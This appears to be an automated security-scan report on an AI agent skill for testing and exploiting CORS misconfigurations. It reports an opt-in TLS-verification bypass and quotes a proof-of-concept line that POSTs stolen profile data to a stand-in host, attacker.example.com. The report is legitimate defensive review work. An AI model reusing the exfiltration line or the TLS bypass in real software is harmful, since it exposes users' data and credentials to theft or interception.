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Skill

testing-cors-misconfiguration

skill:mukul975/anthropic-cybersecurity-skills#testing-cors-misconfiguration

Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.

Verdict
Suspicious

Risky behavior the analysis could not rule out.

Analyzed Oct 27, 2026, 22:40 UTC at 54a7988

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1
findings
medium
highest severity
1
threat classes
4,532
files scanned
89/89
checks satisfied
0
package advisories

Why this verdict

  • suspicious: finding skill:skills/testing-cors-misconfiguration:skills/testing-cors-misconfiguration/scripts/agent.py:43:PRIVESC

Security findings 1

Privilege escalation

mediumContextual riskmedium confidence

The CORS testing agent scripts/agent.py disables TLS certificate verification for every request it sends to the target when the operator sets SKIP_TLS_VERIFY=true (while suppressing the matching urllib3 warning), an undeclared transport-security bypass that could expose the supplied Bearer token and assessment findings to interception; it is opt-in and documented for lab self-signed certs, so it is reported as contextual risk rather than concealed behavior.

verify=not os.environ.get(
trigger:conditionalvector:code
Counter-argument considered

I looked for a refutation: the toggle is opt-in (verify defaults to True when SKIP_TLS_VERIFY is unset) and is documented inline for lab self-signed certs, but documented disclosure does not neutralize a behavior outside the listed carve-outs. Disabling certificate verification in code the agent executes on every request, with warnings suppressed, is not the declared core capability (the skill declares CORS identification/exploitation, not transport-security bypass) and matches no other carve-out, so all four gates hold and the finding stands as contextual risk.

Open questions 1

What the analysis could not settle from the code alone.

The frontmatter lists MITRE ATT&CK techniques T1003 (OS Credential Dumping), T1083 (File and Directory Discovery), and T1505.003 (Web Shell) that do not correspond to the declared CORS testing scope; confirm whether this metadata overstates the skill's technique coverage or maps to content in files not shown in this batch.
Refuted findings 1

Candidates the review stage examined and rejected, kept for transparency.

Data exfiltration

criticalRefutedlow confidence

The skill instructs the agent to craft HTML exploit pages (XHR with withCredentials, fetch with credentials:include, and a sandboxed null-origin iframe) that read a victim's authenticated profile data cross-origin and POST it to attacker.example.com/collect, exfiltrating user data to an attacker-controlled server; this is a documented PoC matching the skill's declared exploitation capability, with no concealment or non-assessment destination observed.

exfil.open('POST', 'https://attacker.example.com/collect', true);
Why it was refuted

The flagged snippet is Step 4 of the skill, an openly labeled 'Proof of Concept' using placeholder domains (attacker.example.com, api.target.example.com), which falls squarely inside the target's declared core capability of 'exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments' - i.e., a documented attack payload in security-assessment material. The harm and undeclared gates therefore fail on that carve-out and the finding is refuted, even though the exfiltration chain itself is real.